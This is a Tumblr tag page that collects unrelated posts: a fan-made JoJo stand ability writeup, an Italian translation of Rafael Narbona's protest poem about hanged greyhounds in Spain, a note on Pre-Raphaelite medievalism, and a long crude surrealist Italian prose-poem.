#filo aureo

[vtribbean]

Doppio/Diavolo AU stuff + a DiaBruno outfit idea

[speckyposting]

[ OOC ] : These are old questions I never got around to answering on main when I first posted Specchio's sheet, so let's take a look!

Hemispheres is a rather versatile stand, so it can be a little confusing! Most of its abilities center around reflection, and I try not to overdo it in terms of how much it can do. My main idea behind Hemispheres is that it would be a sort of jack-of-all-trades, and more of a "support" stand since a majority of Team Bucciarati is more on the offensive side in regards to their abilities. (To me, Moody Blues and Gold Experience are the more "supportive" there... but even then, GE could still pack a punch - especially with the retconned ability vs. Bucciarati!)

To help with a quick overview, let's narrow down Hemispheres abilities to these four: Reflexive, Disorientation (CQC), Reflective (Ranged), Absorption (Healing). Full explanation of each under the cut! Always happy to answer more questions, and that ask box is open! :]

Reflexive

Hemispheres was an untamed stand when it first manifested to Specchio. While not as dangerous as Purple Haze, it still made growing up a stand user who was unaware of their own abilities very difficult. Consider Hemispheres' reflexive ability to be like an unconscious aura surrounding Specchio - a radius that only effects non-stand users and drives them away subconsciously. It's basically the "bad vibes" circle. Hemispheres did this as a way of protecting Specchio since he was a bit of a loner and anxious around strangers, but this ended up adding on to the issue because it made it very difficult to socialize. While stand users can perceive this aura, they usually have the fortitude to pass by it completely. I suppose if a non-stand user was very bold, they could bypass it as well... but, well, Specchio was never so lucky to have that happen. As Specchio honed his talents under Bucciarati's training, he was able to deactivate this ability - like a switch... though, this may have also come with him learning to be more comfortable around people. The only times it ever really shows through is if he's especially fearful, but it no longer holds the same power it once did.

I suppose you can consider this ability defunct.

Disorientation (CQC)

Hemispheres is especially weak in close-quarters, even though that's the limit of it's physical range. It isn't a punch stand, nor is it extremely durable, being perhaps only a little more well-off than Specchio is (given it isn't, well, fleshy). However, there is one ability that Hemispheres can only activate via contact: disorientation. With a quick swipe of it's palm, Hemispheres will touch an adversary and activate this ability, which will only last within a certain range of Specchio. The adversary will have the hemispheres of their brain swap, switching lefts and rights, ups and downs... in layman's terms, consider this similar to a game mechanic that swaps your control scheme.

One who is especially in-tune to their surroundings and body may be able to overcome the effects of this disorienting swap, but it can be especially bad for those who have to worry about verticality as well, such as vs. Secco when he dives beneath the ground.

Reflective (Ranged)

This could be considered Hemispheres' main ability. While not offensive, it relies on trickery to aid Specchio or his allies in a fight. 1-2 reflective panes can be summoned within a formidable range of Specchio (basically, so long as he can see it at the time of creation). These panes have no border, and sort of blend in with its surroundings to be indiscernible as its own shape until you're right up against it. They take around 2-3 hits to break, but will crack with just one. The shape of it can also be altered, but this requires significant focus from Specchio to keep maintained, lest the illusion warp and become more easy to discover (such as in his vs. Formaggio fight with Narancia, when he turned the mirror somewhat concave in order to create a mirror-magnetizing effect to fool Formaggio).

Specchio usually uses these in order to make a getaway by concealing himself, or to buy time by making a barrier between him and the enemy. It's also worth noting that these mirrors are one-way, meaning that Specchio or an ally could see through them from the other side.

Absorption (Healing)

Now, this is an ability I actually never got to use in Filo Aureo (Specchio's AU)! I never really used it because I wondered if it would be too much, but I think it might have it's place in the right scenario, so I still keep it around. It's hinted at in Specchio's backstory with how he survived his house fire, with his burn wounds being halved and reflected across his body - which while this lead to more scar tissue, prevented him from losing his left arm entirely. In short, Specchio can reflect wounds across the median of his body, OR reflect wounds from someone else's body to his own. I believe this fits in with his self-sacrificial mentality... and could also probably lead to some angsty situations of trying to convince him not to take a wound for you.

This ability could be considered more theoretical in a sense, since he never really utilized it in his "canon".

[vividiste]

Oggi è il primo febbraio. In Spagna chiude la caccia e per migliaia di levrieri la vita finisce, miseramente così come era inziata. Le atrocità a cui sono sottoposti per la loro breve vita e infine per la loro morte, sono inaccettabili e tuttavia la cultura spagnola ancora le sostiene. È la tradizione.

In loro onore riportiamo un magnifico e toccante testo di Rafael Narbona, perché sappiate, perché rifiutate, perché combattiate.

Los Galgos Ahorcados - I levrieri impiccati

La Spagna è il paese dei levrieri impiccati.

La Spagna è il paese che non apprezza la tenerezza inconcepibile

di un animale che si intreccia con l'aria, disegnando acrobazie impossibili.

La Spagna è il paese degli alberi con i rami assassini,

dove una corda infame spezza una vita leggera come schiuma.

La Spagna è una terra sterile che seppellisce la poesia nel suo grembo morto.

I levrieri sono poeti in agguato nel vento, levigano gli spigoli in silenzio,

scivolando via come un filo d'acqua dal fondo di un fosso.

I levrieri sono poeti che si stagliano alla luna, componendo sagome senza eguali.

I levrieri accavallano le parole, ci saltano sopra, evitano gli accenti, così arroganti e inflessibili.

L'accento è un signore ridicolo che si infila nelle parole come una spina.

I levrieri turbano la sua routine, gettandola al vento, giocandoci finché si stufano.

Così riceve lezioni di umiltà e accetta la sua dolorosa insignificanza.

Le impronte dei levrieri non lasciano traccia. Sono veloci, alati, quasi eterei.

Non influenzati dalla gravità nè dalla durezza della pietra.

I levrieri accelerano la rotazione della terra, quando la follia si impadronisce di loro.

Lo sguardo riesce a malapena a seguire il loro galoppo vertiginoso,

ma grazie alle loro corse percepiamo la musica celeste.

I levrieri prendono in giro l'ortografia tendendo o piegando le orecchie.

Le orecchie di un levriero possono trasformarsi in una X, Y o LL.

Sforzandosi un poco sono in grado di delineare la Ñ o il numero Phi,

il numero aureo in cui è nascosto Dio,

giocando con una serie infinita che lascia con un palmo di naso gli insegnanti.

Gli insegnanti della scuola non capiscono Dio, nè i levrieri.

Dio è un bambino che utilizza i puntini di sospensione per attraversare i fiumi.

Li genera uno ad uno e salta in avanti. Quelli che avanzano, se li tiene in tasca.

I levrieri non sono mai separati da Dio,

perché sanno bene che hanno bisogno di non perdersi sulla strada,

dove si nasconde l'uomo con il forcone in mano.

Ci è stato detto che Dio è un vecchio con la barba bianca e la pelle rugosa,

ma Dio è un bambino malato

che calma il suo dolore accarezzando la testa ossuta di un levriero.

I levrieri vigilano sul mondo, mentre Dio riposa.

Ogni volta che viene commessa una malvagità, lanciano un grido e Dio si sveglia,

ma Dio non può fare nulla,

perché nessuno presta attenzione ad un bambino

che in punta di piedi non raggiunge lo spioncino della porta.

Gli uomini che impiccano i galgos hanno perso la loro anima molto tempo fa.

In realtà, la loro anima è fuggita inorridita quando ha scoperto le loro mani insanguinate.

Gli uomini che impiccano i levrieri nascondono gli occhi dietro gli occhiali scuri,

perché gli occhi li tradiscono.

Basta guardarli per capire che dietro non c'è nulla.

Gli uomini che impiccano i levrieri sono gli stessi che fucilarono García Lorca.

Non gli è importato sradicare dal nostro suolo un poeta

che dormiva tra camelie bianche e piangeva lacrime d'acqua.

Non gli è importato seppellirlo in una tomba senza nome,

con gli occhi aperti e uno sguardo di orrore sul viso.

Gli uomini che impiccano i levrieri parlano a malapena. Non amano le parole.

A loro non piace giustificare le proprie azioni ed esprimere le proprie emozioni.

Lasciano una scia di dolore e paura.

Ridono dei poeti che passano notti insonni

cercando di trovare un verso alla fine di un sonetto.

Ridono degli sciocchi che vogliono un futuro senza bombe o rovine nere.

Ridono delle promesse fatte ai bambini,

delle rassicurazioni sull'eternità che placa la morte e ci impedisce di cadere nell'oblio.

Ogni volta che muore un levriero, un bambino rimane orfano.

I levrieri prestano la luce dei propri occhi ai bambini malati.

Li accompagnano nelle notti di febbre piene di incubi.

Li svegliano dolcemente, parlandogli all'orecchio del giorno che arriva,

con la sua freschezza e la luce rosata dell'alba.

Gli parlano della primavera e dello sbocciare dei fiori.

Parlano delle mattinate torride d'estate, quando il mare è calmo

e il sole sembra una pietra gialla che non smetterà mai di brillare.

Gli dicono che l'inverno si è nascosto dietro un cespuglio e si è addormentato.

I bambini malati sono i bambini che il giovane Rabì scelse

per mostrare al mondo la bellezza nella sua forma più pura.

Il giovane Rabì si presentò di fronte al potere delle tenebre

con un ragazzo paralizzato ed un levriero affamato,

senza ignorare che la compassione è uno strano fiore.

Un fiore che cresce solo su pendii ripidi e in profonde solitudini,

dove le preghiere fremono di paura al pensiero di risuonare in una cantina vuota.

Certe mattine mi alzo presto ed i cani sono già sulla spianata che chiamano piazza,

con la sua triste chiesa dalla facciata imbiancata a calce, e un albero dal tronco nodoso.

Raggruppati per lunghe catene, tutti sono giovani e non sanno cosa li aspetta.

Non sanno che quel giorno diversi di loro resteranno sul campo,

sopraffatti dalla crudeltà umana.

Potrei avvertirli,

ma gli uomini che preparano la loro morte vanno in giro con fucili da caccia e lunghe corde,

ed i loro occhi sembrano braci ardenti di un odio antico.

Gli occhi dei galgos svolazzano come colorate farfalle.

Blu, marrone, viola, forse un debole bagliore d'oro.

Alcuni sono seduti, altri sdraiati, assopiti. Alcuni sono in piedi, altri scomposti.

Alcuni sono così sottili che sembrano quasi levitare.

Alcuni sembrano d'argilla, altri d'argento, altri sono bianchi come l'alba.

Come l'alba che avanza nella piazza e li fa sembrare in movimento.

Si sentono le catene, le grida, le risa.

Via tutti insieme, aggiogati a un destino ingiusto.

Mi sento come Don Chisciotte alla vista dei galeotti,

condannati a spingere un enorme corazzata con un remo:

"Perché fare schiavi coloro che Dio e la natura hanno creato liberi?"

Mi sono seduto su una panchina di pietra e li ho guardati andarsene.

Un levriero bianco, dall'andatura rassegnata, si voltò e mi guardò con umanità,

con gli occhi stanchi e vagamente speranzosi.

Sapevamo entrambi che le nostre vite sono una scintilla,

un momento di chiarezza in un buio infinito,

ma ci siamo sforzati di pensare che ci saremmo rincontrati sotto un altro cielo,

vagando per una sconfinata pianura,

distanti da quel mattino omicida che si sarebbe preso le vite dei più goffi

e di quelli rimasti indietro.

Ci rincontreremo in una mattina di pienezza e splendore, senza tristezza o negligenza,

una mattinata perfetta, libera da paure e lavoro.

Guarderemo indietro, come due vecchi amici che hanno scoperto la gioia di essere altrove.

I suoi occhi nei miei occhi, i suoi sogni nei miei sogni e i nostri battiti all'unisono nel vento.

RAFAEL NARBONA😪

Quanta inutile cattiveria 😡

[nico-maggio-tolkeniano]

Medievalismo e Preraffaelliti La Dama seducente e pericolosa dei Preraffaelliti. Tra i soggetti pittorici prediletti dalla Confraternita dei Preraffaelliti - sorta di associazione di artisti e pittori romantici inglesi, attiva tra la metà del XIX secolo e gli anni Venti del Novecento, che dichiarava di ispirarsi agli ideali, ai metodi ed alla "pittura prima di Raffaello" - vi è la Dama "perigliosa", la donna seducente, pericolosamente attraente, ostacolo al cammino iniziatico e circolare di purificazione-perfezione dell'eroe, o nobile e severa, o ancora morente per un amore sofferto, struggente, non corrisposto o vittime di un tragico destino. Le donne dei Preraffaelliti capovolgono in un certo senso l'idea di amor cortese e l'immagine classica e standardizzata della donna angelica o beata: ben al di là dall'essere semplici comprimarie dei cavalieri- uomini, relegate al ruolo di nobildonne da conquistare con gesta e virtù cavalleresche, le dame preraffaellite sono le protagoniste assolute della scena, consapevoli della propria bellezza e potenzialità, seducenti e affascinanti, in grado di dominare e condizionare le scelte anche dei più valorosi eroi maschili o, in ogni caso, eroiche, di una bellezza surreale, protagoniste tragiche nella loro simbolica ed emblematica morte. Il Medioevo del Ciclo Bretone, arturiano, romanzato da Tennyson e messo in scena da Shakespeare diventa il filo conduttore di tali opere ed è lo sfondo per queste bellissime e pericolose dame, in linea con lo spirito e il gusto romantico del tempo volto a fare dell'età di mezzo il momento aureo dell'eroismo, della pura fede cristiana, del fantastico e dell'irrazionale. Un revival che aveva i tratti di un ritorno attivo e partecipato all'antico, non solo un tiepido ed emotivo vagheggiamento, ma un alternativa valida da attuare per rivoluzionare il mondo moderno, sia sotto l'aspetto sociale, economico e industriale sia, naturalmente, sotto l'aspetto pittorico, artistico, architettonico, riprendendo e rielaborando modelli, simboli, forme di vita dell'età medievale. #medievalismi #annalidellaterradimezzo #medievalism #preraffaelliti #gothicrevival #medievalismo #romanticismo #tennyson (presso London, United Kingdom) https://www.instagram.com/p/CQLYoSslHHungY-vbc75MkUkU5xeeFKPhF6_tk0/?utm_medium=tumblr

[piermarino-scoccia]

Il muscolo maiuscolo

 C a r d i o m a s t u r b a z i o n i   in   a g r o d o l c e

  Il concetto di realtà parallela Un continuo ritorno per me Specialmente in questi ultimi tempi In ogni scatto Non cerco tanto il corpo l’oggetto Quanto la scia di energia che esso lascia L’intenzione Il divenire Da agnostico bipolare Cerco Dio in ogni click Trovando solo l’effetto del suo passaggio Un turbinio di foglie La danza della realtà   Reflexplore

     Sette capitoli indossa l’uomo nel giorno del suo esimo genetliaco

la luna gocciola giù dalla finestra del cesso

Cessa di battere il suo cuore

di lui medesimo

 Il bicchiere mezzo vuoto

è già vuoto da tempo

è già vuoto del tempo

tanto che

si sono formate delle melliflue

scagliformi

onomatopeiche profusioni frangiflutti

dette anche fiori di muffa

 Nessuno guarda le sue azioni invisibili

Invivibili simboli di genuflessa prece

un falò copre la visuale

nessuno starebbe a guardare ugualmente lo stesso

poiché a nessuno frega niente

di quello che lui sta facendo

lui sé stesso medesimo

chiaro

 La stanza ha un colore furbetto

Perspicace

Marpione

Ma anche ottuso volendo

Violento

di quelli che s’arrampicano su pei muri

su su fino al piancito

dove Dario

l’illuminatore a tempo

dondola da più parti

da più tempo

da solo

da nord a sud

da est a west

non riusce a fare su e giù

ma si sta addestrando

perché in ogni caso

tale meccanismo

è importante

non si sa perché

funzioni nel migliore dei mondi

 Naturalmente il soffitto è bianco

Bianco con sfumature di patatine fritte

ben dorate

fulve quasi

profumate

con fragranza di reazione

vomitevoli a stomaco pieno

 qualche chiazza color ruggine di Checiap Santamerica

l’unica marca commerciabile

introvabile

invendibile

si allarga da decenni

agli angoli ormai scomparsi della casa

due sciuscabap molto pelosi

reggono una pila di libri

gialletti

di colore

recanti benessere

a una delle ultime

piccole comunità di bacteri procarioti

nonché

semplicemente

schifosi muffi repelli

 Una sedia impagliata vicino al camino

sintonizzato su Fahrenheit 451

che trasmette musica da cammino

e countryjazz

testimonia un certo attaccamento alle vecchie antiche saghe

di necessità virtù

Un’altra sedia imburrata

più latte e marmellata varia

avaria

vicino a un tavolino

impagliato anch’ello

ma più impacciato

più goffo

più timido

unto e bisunto di sudori effimeri

e lanzichenecchi in putrefazione

 Lo chiamano Otto

poiché cammina rasente i muri quatto quatto

Otto non ha ricordi

non ha storie di cui vantarsi

non ha progetti

Non ha visioni mistiche

né televisioni

né visualizzazioni propedeutiche

né proposte

neanche supposte

supposizioni

e presunzioni

manco l’ombra

ombrelli però ne ha

più o meno

da pioggia

possibilmente

 Passato presente futuro

mescolati in una caraffa di vetro spento

smunto

ogni qualche ne brinda un centellino

schiacciando acni gravidi ad un orologio impazzito

e pisolini di primo pelo all’ombra di un gigalbero fiorito di funghi

facendo stramazzare batter d'occhi purulenti dentro la caraffa di cristallo esangue

L’organo prensile di un Dio ignoto e ignorato impasta assiduamente le frattaglie del cerebro

Quelle di lui medesimo ovviamente

in cerca di chissà

cosa dove quando perché

come

A volte lambisce il filo buono

A volte cagiona più condanni di quanti già ne sono

Troppe genti all'interno dell’involucro rivestito di zazzere

troppa ressa

troppo viavai

S’è bevuto il cervello e ora bighella per gli ambienti barcollando

Ondeggiando

Ormeggiando a volte

Oscillando

Ciondolando

senza propositi

Ne cosa dare

Ne cosa essere

Ma neanche cosa non essere

Dormire sognare morire et cetera

Batuffoli di primavera soverchiano la sua visione

il vento effervescente dell’autunno lo infervora nell’anima

indossa l’inverno sul muscolo cardiaco

L’estate è distante

In un baleno di stasi apparente riprende a scrivere

Scrive di oblunghe lunazioni lattee

di torreggianti protuberanti papaveri sonnolenti

sotto i quali prospera una spezia battezzata Gattacicova

di origini russie per parte di mamme

che

assunta per via anale non genera alcun risultato

per via orale lo stesso

a parte una tenue circonvoluzione ambientale al basso ventre

e prolissità conclamata al ventre di sopra

con collegamenti sporadici alla mansarda

circondata di neurotrasmissioni a camme

e pallottole di sogni a salve

ciao

dice con l’apertura orale

e In un bagliore di lucidità s’accorge di avere sbagliato strada

L’angusta via era sgualcita

Offuscata avariata

Spenta sparita

persa chissà

Cerca

Cerca nelle nebbie di sciampagna di mezzanotte

in vetuste strade perdute

in altre strade già buttate via

nei recinti invalicabili del pensare

nei caselli autostradali di fine inverno

nei guardaroba della coscienza

dove marciscono scheletri di parole osteoporotiche

usate

riusate

usate male

mai usate

La trova infine

Forse

in un cestino immonditico di Via Pappareale

appollaiata sopra un’ampolla d’olive amare d’enucleate ascolane

d'accordo con una confezione sfinita ma quasi integra di Pampers gustolungo

con sintonizzatore cerebrale

che subito toglie di mezzo il bugiardino

per deficienza d’istruzioni

 Ora i suoi piedi sono paghi

le papille estasiate

la sua mente sale

Saporita saliva scende

lungo le lunghe vie del respiro

conducendo per mano una minuta cicca

americana d’origine

che per un ciglio non lo strozza

Dietro lo spigolo lo attende un tartagliante a piedi nudi

con rivoltella in palmo lo intimorisce di vita o borsa

Lui si sgomenta sbigottendo

come un corbezzolo annaffiatato in una sera di luglio

Caccia un urlo che neanche Tarzan in groenlandese

la gomma spruzza sul volto livido del tartaglione

unitamente alla saliva che ora scende

comodamente

sul muso dello stesso

questo

con una sequenza di bizzarri agiti isterici a buon mercato

mirando l’indice latra

Ma ma ma ma ma

Al che lo tronca l’altro

dovresti dire ta ta ta ta

ma tu non hai un mitra

quindi devi dire

pa pa pa pa

E comunque mio caro

la filosofia di un criminale non si misura dalla potenza di vampa

bensì

dall’alveare che ha sotto lo squarciapatate

Il secondo lo scruta tentennante

poi non lo scruta più

esplode un colpo a casaccio che trafigge lo sfigato in piena evoluzione mascellare

poi dice

Pa virgola pa virgola pa punto

Si gira senza prendergli nulla

fuorché un pendaglio portasfiga che l’individuo tiene agganciato all’orecchia sinistrorsa

e un paio d’occhiali a pescemorto effigiati a mano sul baratro del naso

 Il mattino è agli estremi dei vigori tra il bene e il male

In lontananza un vermiglio prato conquista il tono dell’ambra bagnata

poi della giada

e infine della giogaia lì dietro a nordest

nuance imprecisata

stoppia e beton o giudilì

 La folla affolla le strade già di mattina presto

Signore adipose e cappellute chiacchierano bitorzoluti discorsi

conquistando un bar vicino al Café De La Cruà

ai piedi calzature di cocco affumicato con gore d’oro sommario

per la pipì

Addosso sdraiati manti d’amianto

privi di calore

e fardelli di cazzidaltri sui pendii delle groppe

La nottata avanzata avevano dormito nulla

per questo farfugliano furenti paranoiche filippiche all’incrocio dei pali

 Più tardi è notte

ma con riserva

La conserva si difende bene

i nerbi sono saldati al pene con fibre di stagno

alluminio e corame potenziato al limone

catturato fresco nel Mar dei Ragassi

con peluria di pube alla lenza

Stringati e scuoiati vivi

le parole masticate con bonton

il quale verrà poi sputacchiato da più parti e disidratato al sole di mezzanotte

Il giorno dopo

verso le dieci di quel mondo afoso

la grafia è grave

vuota

famelica

infiacchita

perplessa

rivestita d’ustioni

dentro il pantalone principale del principale

qualcheduno attende pingue lo sbarco dei milleccinque

mentre alza le gonne per manifestare la gioventù bruciata

Sentire sente

guardare guarda

il vino però viene male coerentemente lo stesso poiché nel tino

di primo mattino

sono precipitati per quiproquo un punto e una virgola

che imbrattano il dolce miele d’ambiguità assordanti

precoci inflorazioni

sgradevoli straripamenti di gusto

instillano uno stanco imbarazzante pudore

a guardar bene

inoltre

un effluvio stagnante libra all’inverso del capoverso

svenendo i controllori linfopapillari

 A volte penso non abbia senso cercarne uno

Dichiara il modulatore di frequenza

che poi svanisce nell’etere assediato da cento microfoni con ali di c’era

Quando da terra non si vede altro che un puntino fugace

sprangano i ponti radianti

il dicastero della sfiga benvolente dichiara aperta la cerimonia di guerra

Intervengono numerosi

essenzialmente tutti

alcuni svengono

altri aiutano a svenire

certuni vengono ma non volevano venire

La stanza è piena di gruppi sparsi

qui e là

suppergiù

Zingari rapaci

scuoiano con gli incisivi anteriori

vecchi e rincitrulliti luoghi comuni del cazzo

intercalando con parole nuove

vecchie liquefazioni emotive

del cazzo

cechi ubriachi tracannano a tastoni slovacchi ustionanti liquami

e come fradici barboni beoni

zuzzurellano verso l’ultime pagine d’uno strano dicasi dizionario di lingua mamma

eschimesi abbronzati voltano canti saltalenanti a quattrocchi

con organi prensili tostati e fessure per la posta celere

dallo sfintere del corridoio annuale arrivano di filato

indiani damerica e indiani dindia

indiani di Napoli e di Caserta

Un gruppo di marijuani incalliti passeggia strade perverse in cima ad assopiti pensieri

Matrone incastrate, vivide, purulente, squallide matrone invernali

Appollaiano pensieri involontariamente anali percuotendo a vanvera

Illuminanti pentole minestroidee al farro di ceci anarchici

e prensilmente magichi

Asdrubale coi suoi maiali è appollaiato sopra un trespolo aureo

una cartapecora di banano nell’altra mano

è da un po’ che riposa su quel soffice divano che ancora in molti si ostinano a chiamare vita

Annibale coi suoi cinghiali di montagna

quelli con più gusto

discendono a perdifiato giù per la calata

scapicollandosi a ogni piè sospinto per non sembrar pupazzi del presepe

Quando all’incirca appaiono alla metà

scambiano per praticità i cinghiali con voluminosi africanti animali dagli uditi a ventola

e raffreddore pererre

detti topofanti.

Un topofante cinque cinghiali di montagna

quelli con più gusto

Recandomi di sprazzo al lato dello spiazzo

vedo Matusalemme che si conta le emme e riattacca le penne

dopo uno scontro frontale col sultano del bidè

che intima stupidi boicotti agli ultradizionali traditori della plebe dal pube pepato

mangiando alici peperonate al dentice con scroscio di limone dorato

Quando in fine ci sono tutti

tutti chiacchierano del più a scapito del meno

allorquando giungono alla frutta il caffè è servito immanente

conpocozuccheromiraccomando

Rimestando ben bene

due chicchere al giorno

dopo i sogni di mezzanotte

prima dei pasti ai propri posti

stesi a due a due sul lettino di Froid

Tanto per cambiare

 Non tutto finisce quì

una gatta arancione valica la strada

ma di questo pronunceremo in qualche altro incubo

ora dobbiamo pensare a scappare sul serio

fuggire di brutto tutto il giorno

non dobbiamo fare altro che dileguarci

Annibale finge di sfringuellare le passere scrutando gli stormi

ma con sua enorme sorpresa divenne presto un cercaprugne tediato

eccedente di incremento fecale con milza diroccata

dente perdente e fegato a credito

Quando sì risolleva

non rimembro quando cadde

ma sono sicuro lo giuro

che in qualche modo si rialza

ha vigorose dolenze in tutto il versante destro della letizia di esistere

Un parafulmine è precipitato addosso a un tuono e non si sente niente bene

ma lui è un principe nella sua stola di piduino ed è il primo delle classi

micacassi

Il secondo è Coppo Gimondo detto Merchkxs

a causa dei suoi lunghi sguardi a sfaldamento ancestrale

epperò i compagni più stretti lo denominano affettuosamente Sfegamonti Cipriano

generato di lunga era

con vista all'incirca e un capello sul labbro anteriore

che la madre gli acconcia continuamente

prima di salpare per la consueta lezione di polluzione notturna

Il terzo non c’è mai pertanto non lo racconterò

So soltanto che porta due ingombranti orecchini al posto dei testicoli

sono i telai sostiene lui

è sopravvissuto solo ciò

Vaccascrofa

a forza di fioretti al bambin Paradiso

Zè per gli amici

Il lividore sul suo volto è ormai sgonfio

la sera del giudizio universitario c’è anche Apollonio battezzato dai più Versaccio

il gran mastro della loggia di Fiordimonte

Fa tre capriole con le mani e una senza piedi

di modo che la gente intorno non capisce più il dritto e il capovolto

Dalla mente di Versaccio colano verdi sapori dalle sembianze rapaci

sta notte piange a colori

quando si sveglia di soppiatto

Le forme s’appiattiscono poco dopo il crepuscolo

espressioni limitate poco convinte

sclerotizzate senza senso

In fondo che senso ha scavare nelle fosse del soffice bigio

tappare buchi con forsechissàperò

Onde naturalmente provare che l’esistenza di Dio esiste

Naturology etology scentology di varia natura ci provano

nei secoli dei secoli amenchenonsidica

un videogioco di fanfaluche buone per perdenti di tempo

principio immateriale denti e affini

Gravidi foruncoli esplodono all’ora di pranzo quando nessuno se l’aspetta

Quando

A me non capita mai

quando

Allupoallupo

Risolvere è facile

Forse

basta poco

basta spegnere il tivì e continuare a mangiare

Le scarpe sono piene di merda in quest’ora di merda

fino ai piedi

Il dotato di sacralità sputacchia parole a gettone dall’altare sopra la porta

l’altare che occlude l’accesso

non ha templi da perdere santinumi

I circoncisi sprangano la fabbrica di altari-atari a metaprezzo

n’aprono una di speranze affumicate in società col signore dell’anello

Bianco da ogni parte

Non c’è più spazio

terminato lo spazio

E a merenda mangeremo cavoli amari

Gli speziali bandiscono un banchetto per il capretto

milioni di cannoni riscaldano le pietose pietanze

qualcuno grida giù nelle stanze della primavera

Bastaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Poi tutto si liquefà

tutto è scarlatto

poi merda

poi cinereo

poi forse

Stilano la lista dei vaffanculo dopo il rancio delle seiettrenta

mentre il resto della folla parla in silenzio

folate di vento trascinano via il silenzio della folla che parla in silenzio

Qualcheduno ascolta addirittura

Magdala deterge coi regina il volto del crocifero prima del rimpatrio dei mestrui di fine millennio

il pane azzimo in un angolo

zitto zitto

quatto quatto

sempre otto

La Sachertorta atterra di soppiatto

scaraventando il pane con prestanza dalla parte opposta della calca stanza

Con un diniego perverso acquerellato sul volto

abbozza una dimezzata locuzione

State bene al caldo quando sapete di poter invocare il consueto qualunque Iddio

perché ci siete incappati in mezzo

L’alterco si fa bislacco

soverchiando l’ammasso un wafer napoletano ingigantito sul falsopiano

scaraventa il suo muco nell’intelligenza in alto

verso il firmamento

e rivolto al dotato apostrofa

Scarabocchia la tua verità sulla carta nettaculo

io lo farò con la mia

Dal versante della montagna dove qualcuno sta discorrendo

discende ansimante uno stronzo di mosca a cavallo di una cacca di vacca

che a mani giunte supplica

Per favore

vi scongiuro

NON PROSPERATEMI SULLE SFERE TESTICOLARI

Letteraminuscola afferra il balzo alla palla che si ferma a mezz’aria

abbandonando quell’altra dimezzata a vituperanti spazio-testosteroni

per la divulgazione psicodinamica a fermentazione naturale

Naturale un cazzo

Sente la sua voce gridare

La sua voce di lui medesimo ovviamente

Ovviamente un cazzo

Replica

senza accorgersi di star parlando da sé

Stesso luogo stessa ora centoventitre anni dopo

è seduto sopra un peto che da anni lo sorregge e sostiene nei lavoretti domestici

Fa di tutto

eccetto l’aspirapolvere

si rende conto tuttavia ogni giorno

che sedere incessantemente sopra un peto sia una posizione alquanto soffice

ma decisamente poco pratica

poiché i peti non hanno un piano stabile

sarebbe come adagiarsi sopra una bolla di sapone

ma un po’ più resistente

La sua voce è identica a quella di altri

il suo organo del gusto sfiora l’ansia della caparbietà

mentre sfiorisce il suo organo riproduttivo

esili lampi

fulgori postumi schiariscono il bianco dei suoi oculi

 I fari anteriori non sono mai secchi

qualcuno li conduce di nascosto al travaso del sole

da questo lindo mondo a quell’altra metà di là

L’ipotenusa regge bene

sebbene

le configurazioni siderali di quella notte sembrano ricondurre agli albori del borsellino esaurito

quando i cateti smettono la fantasia e girano

girano

girano

girano

basta

Le parvenze mestruali sono sem’inumate da transiti di cilicio granulare

ortogonale al ciliegio di Diego Walles

l’estremo cesellatore della crosta terrestre rimasto

vivente a tutt’oggi sul pianeta Ekatonchiri

o viceversa

 Ekatonchiri

l’entità dalle cento energie

ricordi?

Non mi rammendo

Sostiene il paltò del sarto

masticando giugulari vuotate di plasma all’amatriciana

dette altresì bucatini

 In ufficio non s’accorgono di nulla

su al milionesimo livello del grattacielo perenne

o per G non so

Chissà se fingono di non vedere

La cupola ora è spenta e nessuno si sogna di dormire

Chissà per quanto tempo ancora la corte si appellerà al novantunesimo emendamento

Chissà se ancora il fumo uscirà dalle sue maiuscole

Il prepuzio gestisce l’incombenza in forma effimera e non ci sono più cipolle

Etimologicamente la visione onirica è perfetta

Sintesi di stralunati pensieri

principiano finalmente a venir fuori da quel bizzarro forno a microonde

il suo scatolo cranico

timida mente

svogliata mente

assopita mente

fagocitando ancestrali spazioperdite

Casual mente perversa

Seduto sulla tazza della colazione

i suoi pensieri guerreggiano con la puzza di merda che sovrasta la stanza

quasi tangibile

La sera prima ha ingerito cibo

Punto

Gli arcani del delirio coerente aleggiano impolverando

Offuscando

Opacizzando

coagulando linfa vitale

mancando dalla nascita tenta di fermarsi

poi cambiando idea guizza di lato come un vettore maldestro raschiando i pianciti

vuole assassinare la morte cantando messa alle sei di mattino per Via del Vino

parallela a Via del Tino ma con più virgole

All'esterno le giovenche ammaestrate puzzano di miglio lontano un chilometro e seicento

La notte seguente il sole cola a picco dentro nelle tazze della mariuana

la pozione maliarda

in fondo in fondo scende piano

per fecondare i pensieri ne bastan due calici

calici belli

belli colmi

colmi e roventi

da svenire o venire a piacere

Peccato però purtroppo che l’ora del mattino è tarda la sera di notte sul far dell’alba

Prima dell’apertura delle soglie del solstizio di zia Naftalina

che non ha più cicli da qualche millennio

Da tempi non riesce più a cuocere quegli amabili ambigui sughetti

al sapore di pomodori notturni e ricotte maliarde

peperoncini mistici all’ombra dei salici

mistificati masticati sputati mescolati alla salsa rossa

sugo alieno

intingolo marziale

Che aspetto

che solletico allo stomaco

che rilassante putiferio delle membra

affamate di potenza mediterranea

un piatto di pastasciutta coi suoi sughi

Per quanto

se sia seduzione per uno stomaco vuoto

o a volte di una mente carica di vuoti cicli e ricicli che circondano la giornata di un individuo

non saprei dire

ma il piatto è lì pieno di pappa invitante

rosso assordante

profumo di vero

Non sa come riempire il tempo rimasto tra le penne e i rigatoni

Ci pensa su un bel po' poi opta

Spaghetti

Alla chitarra

Armonia per le papille in un amore immenso di Rosso Piceno d’annato

Volendo potrebbe aggiungere una candela

magari rossa

forse anche profumata

per sottolineare la sua passione e soddisfare la sua buona volontà

ma riesaminando l’apparecchio

considera che c’è effettivamente tutto

la misamplas è perfetta così com’è

la candela potrebbe essere un po’ troppo

così la vede

Aspetta da un’ora che giunga l’ora dell’incontro

Al termine del tavolo

addosso a una grattugia

un bel gran pezzo di arrapante Parmigiano

iddio lo accolga nell’eden

attende di fioccare prima o poi

addosso a rigagnoli di fumiganti vermicelli

Il vino

c’è anche lui

un po’ più in là

un po’ a metà

mezzo pieno per l’ottimismo

rosso senza virgole e puntini

impetuoso al gusto

morbido al muscolo cardiaco

inebriante al pensiero

antico remoto arcaico polveroso

appena migrato dalla vecchia dispensa muffosa

tutto procede per un verso qualunque

ma nessuno ancora bussa all’uscio

ha disposto anche dei fiori

Nello spigolo destro della tovaglia a fiori

la candela no

è troppo

davvero

La pignatta si lamenta che quando uno scrive deve tacere altrimenti la digestione accade apatica

Il Maieutico si scrolla di dosso la pipì

suo fratello il boia del villaggio glie la fa sempre sotto il naso

